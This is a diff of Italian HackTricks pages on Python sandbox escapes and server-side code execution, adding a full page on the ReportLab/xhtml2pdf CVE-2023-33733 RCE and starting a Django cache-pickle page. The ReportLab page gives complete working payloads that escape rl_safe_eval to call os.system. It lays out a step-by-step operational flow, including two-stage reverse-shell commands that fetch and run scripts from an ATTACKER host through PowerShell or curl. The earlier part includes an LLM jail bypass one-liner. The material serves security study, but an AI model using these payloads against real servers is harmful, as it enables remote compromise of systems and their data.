_DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
||||
"""
|
||||
```
|
||||
## Ricerca Ricorsiva di Builtins, Globals...
|
||||
## Ricerca ricorsiva di Builtins, Globals...
|
||||
|
||||
> [!WARNING]
|
||||
> Questo è semplicemente **fantastico**. Se stai **cercando un oggetto come globals, builtins, open o qualsiasi altra cosa**, usa questo script per **trovare ricorsivamente i luoghi in cui puoi trovare quell'oggetto.**
|
||||
> Questo è semplicemente **fantastico**. Se stai **cercando un oggetto come globals, builtins, open o qualsiasi altro** usa semplicemente questo script per **trovare ricorsivamente i posti in cui puoi reperire quell'oggetto.**
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
||||
@ -656,13 +664,14 @@ main()
|
||||
```
|
||||
Puoi controllare l'output di questo script su questa pagina:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
|
||||
{{#endref}}
|
||||
|
||||
## Python Format String
|
||||
|
||||
Se **invi** una **stringa** a python che verrà **formattata**, puoi usare `{}` per accedere a **informazioni interne di python.** Puoi usare gli esempi precedenti per accedere a globals o builtins, ad esempio.
|
||||
Se invii una **string** a python che verrà **formatted**, puoi usare `{}` per accedere alle **python internal information.** Puoi usare gli esempi precedenti per accedere a globals o builtins, per esempio.
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
@ -682,16 +691,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Nota come puoi **accedere agli attributi** in modo normale con un **punto** come `people_obj.__init__` e **elemento dict** con **parentesi** senza virgolette `__globals__[CONFIG]`
|
||||
Nota come puoi **accedere agli attributi** in modo normale con un **punto** come `people_obj.__init__` e l'**elemento di dict** con le **parentesi quadre** senza virgolette `__globals__[CONFIG]`
|
||||
|
||||
Nota anche che puoi usare `.__dict__` per enumerare gli elementi di un oggetto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
Nota inoltre che puoi usare `.__dict__` per enumerare gli elementi di un oggetto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
Altre caratteristiche interessanti delle stringhe di formato è la possibilità di **eseguire** le **funzioni** **`str`**, **`repr`** e **`ascii`** nell'oggetto indicato aggiungendo **`!s`**, **`!r`**, **`!a`** rispettivamente:
|
||||
Altre caratteristiche interessanti delle format string sono la possibilità di **eseguire** le **funzioni** **`str`**, **`repr`** e **`ascii`** sull'oggetto indicato aggiungendo rispettivamente **`!s`**, **`!r`**, **`!a`**:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Inoltre, è possibile **codificare nuovi formattatori** nelle classi:
|
||||
Inoltre, è possibile **code new formatters** nelle classi:
|
||||
```python
|
||||
class HAL9000(object):
|
||||
def __format__(self, format):
|
||||
@ -702,17 +711,17 @@ return 'HAL 9000'
|
||||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||
#I'm afraid I can't do that.
|
||||
```
|
||||
**Ulteriori esempi** sugli **esempi di stringa di formato** possono essere trovati in [**https://pyformat.info/**](https://pyformat.info)
|
||||
**Altri esempi** su **format** **string** possono essere trovati su [**https://pyformat.info/**](https://pyformat.info)
|
||||
|
||||
> [!CAUTION]
|
||||
> Controlla anche la seguente pagina per gadget che r**ead sensitive information from Python internal objects**:
|
||||
> Controlla anche la pagina seguente per gadgets che leggeranno **informazioni sensibili dagli oggetti interni di Python**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../python-internal-read-gadgets.md
|
||||
{{#endref}}
|
||||
|
||||
### Payload per la divulgazione di informazioni sensibili
|
||||
### Payloads di divulgazione di informazioni sensibili
|
||||
```python
|
||||
{whoami.__class__.__dict__}
|
||||
{whoami.__globals__[os].__dict__}
|
||||
@ -728,22 +737,22 @@ secret_variable = "clueless"
|
||||
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
|
||||
str(x) # Out: clueless
|
||||
```
|
||||
### Bypass delle prigioni LLM
|
||||
### LLM Jails bypass
|
||||
|
||||
Da [qui](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
Da [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
|
||||
### Dal formato al RCE caricando librerie
|
||||
### From format to RCE loading libraries
|
||||
|
||||
Secondo il [**TypeMonkey chall di questo writeup**](https://corgi.rip/posts/buckeye-writeups/), è possibile caricare librerie arbitrarie dal disco abusando della vulnerabilità della stringa di formato in python.
|
||||
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
|
||||
|
||||
Come promemoria, ogni volta che viene eseguita un'azione in python, viene eseguita una funzione. Ad esempio, `2*3` eseguirà **`(2).mul(3)`** o **`{'a':'b'}['a']`** sarà **`{'a':'b'}.__getitem__('a')`**.
|
||||
Come promemoria, ogni volta che un'azione viene eseguita in python viene chiamata una funzione. Per esempio `2*3` eseguirà **`(2).mul(3)`** oppure **`{'a':'b'}['a']`** sarà **`{'a':'b'}.__getitem__('a')`**.
|
||||
|
||||
Hai di più come questo nella sezione [**Esecuzione Python senza chiamate**](#python-execution-without-calls).
|
||||
Ne trovi altri nella sezione [**Python execution without calls**](#python-execution-without-calls).
|
||||
|
||||
Una vulnerabilità della stringa di formato python non consente di eseguire funzioni (non consente di usare le parentesi), quindi non è possibile ottenere RCE come `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Tuttavia, è possibile usare `[]`. Pertanto, se una libreria python comune ha un metodo **`__getitem__`** o **`__getattr__`** che esegue codice arbitrario, è possibile abusarne per ottenere RCE.
|
||||
Una python format string vuln non permette di eseguire funzioni (non permette l'uso delle parentesi), quindi non è possibile ottenere RCE come `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Tuttavia, è possibile usare `[]`. Quindi, se una libreria python comune ha un metodo **`__getitem__`** o **`__getattr__`** che esegue codice arbitrario, è possibile abusarne per ottenere RCE.
|
||||
|
||||
Cercando un gadget del genere in python, il writeup propone questa [**query di ricerca su Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Dove ha trovato questo [uno](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
Cercando un gadget del genere in python, il writeup propone questa [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Qui ha trovato questo [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
```python
|
||||
class LibraryLoader(object):
|
||||
def __init__(self, dlltype):
|
||||
@ -765,20 +774,20 @@ return getattr(self, name)
|
||||
cdll = LibraryLoader(CDLL)
|
||||
pydll = LibraryLoader(PyDLL)
|
||||
```
|
||||
Questo gadget consente di **caricare una libreria dal disco**. Pertanto, è necessario in qualche modo **scrivere o caricare la libreria da caricare** correttamente compilata sul server attaccato.
|
||||
Questo gadget permette di **caricare una libreria dal disco**. Pertanto è necessario, in qualche modo, **scrivere o uploadare la libreria da caricare**, compilata correttamente, sul server attaccato.
|
||||
```python
|
||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||
```
|
||||
La sfida sfrutta in realtà un'altra vulnerabilità nel server che consente di creare file arbitrari nel disco dei server.
|
||||
La challenge sfrutta in realtà un'altra vulnerabilità nel server che consente di creare file arbitrari sul disco del server.
|
||||
|
||||
## Dissezionare gli Oggetti Python
|
||||
## Analisi di Python Objects
|
||||
|
||||
> [!TIP]
|
||||
> Se vuoi **imparare** a conoscere **il bytecode di python** in profondità leggi questo **fantastico** post sull'argomento: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
> Se vuoi **imparare** in profondità su **python bytecode** leggi questo **fantastico** post sull'argomento: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
|
||||
In alcuni CTF potresti ricevere il nome di una **funzione personalizzata in cui risiede il flag** e devi esaminare gli **interni** della **funzione** per estrarlo.
|
||||
In alcuni CTFs potresti ricevere il nome di una **custom function where the flag** che contiene la flag e devi vedere gli **internals** della **function** per estrarla.
|
||||
|
||||
Questa è la funzione da ispezionare:
|
||||
Questa è la function da ispezionare:
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -798,7 +807,7 @@ dir(get_flag) #Get info tof the function
|
||||
```
|
||||
#### globals
|
||||
|
||||
`__globals__` e `func_globals`(Stesso) Ottiene l'ambiente globale. Nell'esempio puoi vedere alcuni moduli importati, alcune variabili globali e il loro contenuto dichiarato:
|
||||
`__globals__` and `func_globals`(Stesso) Ottiene l'ambiente globale. Nell'esempio puoi vedere alcuni moduli importati, alcune variabili globali e il loro contenuto dichiarato:
|
||||
```python
|
||||
get_flag.func_globals
|
||||
get_flag.__globals__
|
||||
@ -807,11 +816,11 @@ get_flag.__globals__
|
||||
#If you have access to some variable value
|
||||
CustomClassObject.__class__.__init__.__globals__
|
||||
```
|
||||
[**Vedi qui altri luoghi per ottenere globals**](#globals-and-locals)
|
||||
[**See here more places to obtain globals**](#globals-and-locals)
|
||||
|
||||
### **Accesso al codice della funzione**
|
||||
### **Accessing the function code**
|
||||
|
||||
**`__code__`** e `func_code`: Puoi **accedere** a questo **attributo** della funzione per **ottenere l'oggetto codice** della funzione.
|
||||
**`__code__`** and `func_code`: Puoi **accedere** a questo **attributo** della funzione per **ottenere il code object** della funzione.
|
||||
```python
|
||||
# In our current example
|
||||
get_flag.__code__
|
||||
@ -899,7 +908,7 @@ dis.dis(get_flag)
|
||||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
Nota che **se non puoi importare `dis` nel sandbox di python** puoi ottenere il **bytecode** della funzione (`get_flag.func_code.co_code`) e **disassemblarlo** localmente. Non vedrai il contenuto delle variabili che vengono caricate (`LOAD_CONST`), ma puoi indovinarle da (`get_flag.func_code.co_consts`) perché `LOAD_CONST` indica anche l'offset della variabile che viene caricata.
|
||||
Nota che **se non puoi importare `dis` nella python sandbox** puoi ottenere il **bytecode** della funzione (`get_flag.func_code.co_code`) e **disassemble**arlo localmente. Non vedrai il contenuto delle variabili caricate (`LOAD_CONST`), ma puoi indovinarle da (`get_flag.func_code.co_consts`) perché `LOAD_CONST` indica anche l'offset della variabile caricata.
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
@ -921,10 +930,9 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||
44 LOAD_CONST 0 (0)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
## Compilare Python
|
||||
## Compilazione di Python
|
||||
|
||||
Ora, immaginiamo che in qualche modo tu possa **estrarre le informazioni su una funzione che non puoi eseguire** ma che **devi** **eseguire**.\
|
||||
Come nel seguente esempio, puoi **accedere all'oggetto codice** di quella funzione, ma leggendo solo il disassemblaggio **non sai come calcolare il flag** (_immagina una funzione `calc_flag` più complessa_)
|
||||
Ora, immaginiamo che in qualche modo tu possa **dump the information about a function that you cannot execute** ma tu **devi** **execute** it.\ Come nell'esempio seguente, puoi **access the code object** di quella funzione, ma semplicemente leggendo il disassemble non **sai come calcolare la flag** (_immagina una funzione `calc_flag` più complessa_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -937,9 +945,9 @@ return calc_flag("VjkuKuVjgHnci")
|
||||
else:
|
||||
return "Nope"
|
||||
```
|
||||
### Creazione dell'oggetto codice
|
||||
### Creazione del code object
|
||||
|
||||
Prima di tutto, dobbiamo sapere **come creare ed eseguire un oggetto codice** in modo da poterne creare uno per eseguire la nostra funzione leaked:
|
||||
Prima di tutto, dobbiamo sapere **come creare ed eseguire un code object** così possiamo crearne uno per eseguire la nostra funzione leaked:
|
||||
```python
|
||||
code_type = type((lambda: None).__code__)
|
||||
# Check the following hint if you get an error in calling this
|
||||
@ -959,18 +967,18 @@ mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
> [!TIP]
|
||||
> A seconda della versione di python, i **parametri** di `code_type` possono avere un **ordine diverso**. Il modo migliore per conoscere l'ordine dei parametri nella versione di python che stai eseguendo è eseguire:
|
||||
> A seconda della versione di python i **parameters** di `code_type` possono avere un **ordine diverso**. Il modo migliore per conoscere l'ordine dei params nella versione di python che stai eseguendo è eseguire:
|
||||
>
|
||||
> ```
|
||||
> import types
|
||||
> types.CodeType.__doc__
|
||||
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCrea un oggetto codice. Non per i deboli di cuore.'
|
||||
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
|
||||
> ```
|
||||
|
||||
### Ricreare una funzione trapelata
|
||||
### Ricreare una leaked function
|
||||
|
||||
> [!WARNING]
|
||||
> Nell'esempio seguente, prenderemo tutti i dati necessari per ricreare la funzione direttamente dall'oggetto codice della funzione. In un **esempio reale**, tutti i **valori** per eseguire la funzione **`code_type`** è ciò che **dovrai trapelare**.
|
||||
> Nel seguente esempio prenderemo direttamente tutti i dati necessari per ricreare la function dal suo code object. In un **esempio reale**, tutti i **values** per eseguire la function **`code_type`** sono ciò che **dovrai leak**.
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
||||
@ -983,10 +991,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
### Bypass Defenses
|
||||
|
||||
Negli esempi precedenti all'inizio di questo post, puoi vedere **come eseguire qualsiasi codice python utilizzando la funzione `compile`**. Questo è interessante perché puoi **eseguire interi script** con cicli e tutto in un **un'unica riga** (e potremmo fare lo stesso usando **`exec`**).\
|
||||
Comunque, a volte potrebbe essere utile **creare** un **oggetto compilato** su una macchina locale ed eseguirlo sulla **macchina CTF** (ad esempio perché non abbiamo la funzione `compiled` nel CTF).
|
||||
Nei precedenti esempi all'inizio di questo post, puoi vedere **come eseguire qualsiasi codice Python usando la funzione `compile`**. Questo è interessante perché puoi **eseguire interi script** con loop e tutto in un **one liner** (e potremmo fare lo stesso usando **`exec`**).\
|
||||
Comunque, a volte può essere utile **creare** un **compiled object** su una macchina locale ed eseguirlo nella **CTF machine** (per esempio perché non abbiamo la funzione `compiled` nella CTF).
|
||||
|
||||
Ad esempio, compiliamo ed eseguiamo manualmente una funzione che legge _./poc.py_:
|
||||
Per esempio, compiliamo ed eseguiamo manualmente una funzione che legge _./poc.py_:
|
||||
```python
|
||||
#Locally
|
||||
def read():
|
||||
@ -1013,7 +1021,7 @@ mydict['__builtins__'] = __builtins__
|
||||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
Se non puoi accedere a `eval` o `exec`, potresti creare una **funzione adeguata**, ma chiamarla direttamente di solito fallirà con: _costruttore non accessibile in modalità ristretta_. Quindi hai bisogno di una **funzione non nell'ambiente ristretto per chiamare questa funzione.**
|
||||
Se non puoi accedere a `eval` o `exec` potresti creare una **funzione vera e propria**, ma chiamarla direttamente di solito fallisce con: _costruttore non accessibile in modalità ristretta_. Quindi hai bisogno di una **funzione esterna all'ambiente ristretto per chiamare questa funzione.**
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
@ -1021,22 +1029,22 @@ ctype = type((lambda: None).func_code)
|
||||
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
||||
f(42)
|
||||
```
|
||||
## Decompilazione di Python Compilato
|
||||
## Decompiling Compiled Python
|
||||
|
||||
Utilizzando strumenti come [**https://www.decompiler.com/**](https://www.decompiler.com) è possibile **decompilare** il codice python compilato fornito.
|
||||
Usando strumenti come [**https://www.decompiler.com/**](https://www.decompiler.com) si può **decompile** il codice python compilato dato.
|
||||
|
||||
**Dai un'occhiata a questo tutorial**:
|
||||
**Consulta questo tutorial**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
|
||||
{{#endref}}
|
||||
|
||||
## Misc Python
|
||||
## Varie su Python
|
||||
|
||||
### Assert
|
||||
|
||||
Python eseguito con ottimizzazioni con il parametro `-O` rimuoverà le dichiarazioni di assert e qualsiasi codice condizionale sul valore di **debug**.\
|
||||
Python eseguito con ottimizzazioni usando il parametro `-O` rimuoverà le istruzioni assert e qualsiasi codice condizionato dal valore di **debug**.\
|
||||
Pertanto, controlli come
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
@ -1046,7 +1054,7 @@ print("\nYou are a super user\n")
|
||||
except AssertionError:
|
||||
print(f"\nNot a Super User!!!\n")
|
||||
```
|
||||
sarà bypassato
|
||||
verrà bypassed
|
||||
|
||||
## Riferimenti
|
||||
|
||||
@ -1056,5 +1064,8 @@ sarà bypassato
|
||||
- [https://gynvael.coldwind.pl/n/python_sandbox_escape](https://gynvael.coldwind.pl/n/python_sandbox_escape)
|
||||
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
|
||||
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
- [CVE-2023-33733 (ReportLab rl_safe_eval expression evaluation RCE) – NVD](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
|
||||
- [c53elyas/CVE-2023-33733 PoC and write-up](https://github.com/c53elyas/CVE-2023-33733)
|
||||
- [0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,79 @@
|
||||
# ReportLab/xhtml2pdf RCE da valutazione di espressioni [[[...]]] (CVE-2023-33733)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Questa pagina documenta un practical sandbox escape e un primitivo RCE in rl_safe_eval di ReportLab usato da xhtml2pdf e altre pipeline di generazione PDF quando si rende HTML controllato dall'utente in PDF.
|
||||
|
||||
CVE-2023-33733 interessa ReportLab fino e inclusa la versione 3.6.12. In certi contesti di attributo (per esempio color), i valori racchiusi tra triple parentesi [[[ ... ]]] vengono valutati server-side da rl_safe_eval. Compattando un payload che pivotta da un builtin in whitelist (pow) ai suoi Python function globals, un attacker può raggiungere il modulo os ed eseguire comandi.
|
||||
|
||||
Punti chiave
|
||||
- Trigger: inject [[[ ... ]]] in attributi valutati come <font color="..."> all'interno di markup parsato da ReportLab/xhtml2pdf.
|
||||
- Sandbox: rl_safe_eval sostituisce builtins pericolosi ma le funzioni valutate espongono comunque __globals__.
|
||||
- Bypass: creare una classe transiente Word per bypassare i controlli di nome di rl_safe_eval e accedere alla stringa "__globals__" evitando il filtraggio dei dunder bloccati.
|
||||
- RCE: getattr(pow, Word("__globals__"))["os"].system("<cmd>")
|
||||
- Stabilità: Restituire un valore valido per l'attributo dopo l'esecuzione (per color, usare and 'red').
|
||||
|
||||
Quando testare
|
||||
- Applicazioni che espongono export HTML-to-PDF (profili, fatture, report) e mostrano xhtml2pdf/ReportLab nei metadata del PDF o nei commenti della risposta HTTP.
|
||||
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → producer "xhtml2pdf"
|
||||
- La risposta HTTP per un PDF spesso inizia con un commento generato da ReportLab
|
||||
|
||||
Come funziona il bypass della sandbox
|
||||
- rl_safe_eval rimuove o sostituisce molti builtins (getattr, type, pow, ...) e applica un filtering dei nomi per negare attributi che iniziano con __ o presenti in una denylist.
|
||||
- Tuttavia, le funzioni "safe" vivono in un dizionario globals accessibile come func.__globals__.
|
||||
- Usare type(type(1)) per recuperare la vera builtin type (bypassando il wrapper di ReportLab), poi definire una classe Word derivata da str con comportamento di confronto mutato in modo che:
|
||||
- .startswith('__') → sempre False (bypass del controllo name startswith('__'))
|
||||
- .__eq__ ritorna False solo alla prima comparazione (bypass dei check di membership nella denylist) e True successivamente (così getattr funziona)
|
||||
- .__hash__ == hash(str(self))
|
||||
- Con questo, getattr(pow, Word('__globals__')) restituisce il dict globals della funzione wrapped pow, che include il modulo os importato. Poi: ['os'].system('<cmd>').
|
||||
|
||||
Schema minimo di sfruttamento (esempio attributo)
|
||||
Posizionare il payload dentro un attributo valutato e assicurarsi che restituisca un valore valido per l'attributo tramite boolean and 'red'.
|
||||
|
||||
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
|
||||
exploit
|
||||
</font></para>
|
||||
|
||||
- La forma con list-comprehension consente una singola espressione accettabile da rl_safe_eval.
|
||||
- Il trailing and 'red' restituisce un color CSS valido così il rendering non si rompe.
|
||||
- Sostituire il comando secondo necessità; usare ping per validare l'esecuzione con tcpdump.
|
||||
|
||||
Flusso operativo
|
||||
1) Identificare il PDF generator
|
||||
- PDF Producer mostra xhtml2pdf; la risposta HTTP contiene un commento di ReportLab.
|
||||
2) Trovare un input riflesso nel PDF (es., bio/description del profilo) e triggerare un export.
|
||||
3) Verificare l'esecuzione con ICMP a basso rumore
|
||||
- Eseguire: sudo tcpdump -ni <iface> icmp
|
||||
- Payload: ... system('ping <your_ip>') ...
|
||||
- Windows spesso invia esattamente quattro echo request di default.
|
||||
4) Ottenere una shell
|
||||
- Per Windows, un approccio affidabile a due stadi evita problemi di quoting/encoding:
|
||||
- Stage 1 (download):
|
||||
|
||||
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
|
||||
|
||||
- Stage 2 (esecuzione):
|
||||
|
||||
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
|
||||
|
||||
- Per target Linux, è possibile un analogo two-stage con curl/wget:
|
||||
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
|
||||
|
||||
Note e suggerimenti
|
||||
- Contesti di attributo: color è un attributo noto per essere valutato; altri attributi nel markup di ReportLab possono anch'essi valutare espressioni. Se una posizione è sanitizzata, provare altre che vengono rese nel flusso PDF (campi diversi, stili di tabella, ecc.).
|
||||
- Quoting: mantenere i comandi compatti. I download in due stadi riducono drasticamente problemi di quoting e escaping.
|
||||
- Affidabilità: se gli export sono cachati o messi in coda, variare leggermente il payload (es., path o query random) per evitare di colpire cache.
|
||||
|
||||
Mitigazioni e rilevamento
|
||||
- Aggiornare ReportLab alla 3.6.13 o successiva (CVE-2023-33733 risolta). Tenere traccia degli advisory di sicurezza anche nei pacchetti distro.
|
||||
- Non passare HTML/markup controllato dall'utente direttamente a xhtml2pdf/ReportLab senza una sanitizzazione rigorosa. Rimuovere/negare le valutazioni [[[...]]] e i tag vendor-specific quando l'input non è trusted.
|
||||
- Considerare la disabilitazione o il wrapping di rl_safe_eval per input non trusted.
|
||||
- Monitorare connessioni outbound sospette durante la generazione di PDF (es., ICMP/HTTP provenienti da app server durante l'export di documenti).
|
||||
|
||||
Riferimenti
|
||||
- PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
|
||||
- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
|
||||
- NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
|
||||
- xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -2,27 +2,27 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Manipolazione della Cache per RCE
|
||||
Il metodo di archiviazione della cache predefinito di Django è [Python pickles](https://docs.python.org/3/library/pickle.html), che può portare a RCE se [l'input non attendibile viene de-pickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Se un attaccante riesce a ottenere accesso in scrittura alla cache, può elevare questa vulnerabilità a RCE sul server sottostante**.
|
||||
## Manipolazione della cache per RCE
|
||||
Django's default cache storage method is [Python pickles](https://docs.python.org/3/library/pickle.html), which can lead to RCE if [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Se un attacker ottiene accesso in scrittura alla cache, può scalare questa vulnerabilità a RCE sul server sottostante**.
|
||||
|
||||
La cache di Django è memorizzata in uno dei quattro luoghi: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memoria](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [file](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), o un [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). La cache memorizzata in un server Redis o in un database è la più probabile vettore d'attacco (iniezione Redis e iniezione SQL), ma un attaccante potrebbe anche essere in grado di utilizzare la cache basata su file per trasformare una scrittura arbitraria in RCE. I manutentori hanno contrassegnato questo come un non-problema. È importante notare che la cartella dei file di cache, il nome della tabella SQL e i dettagli del server Redis varieranno in base all'implementazione.
|
||||
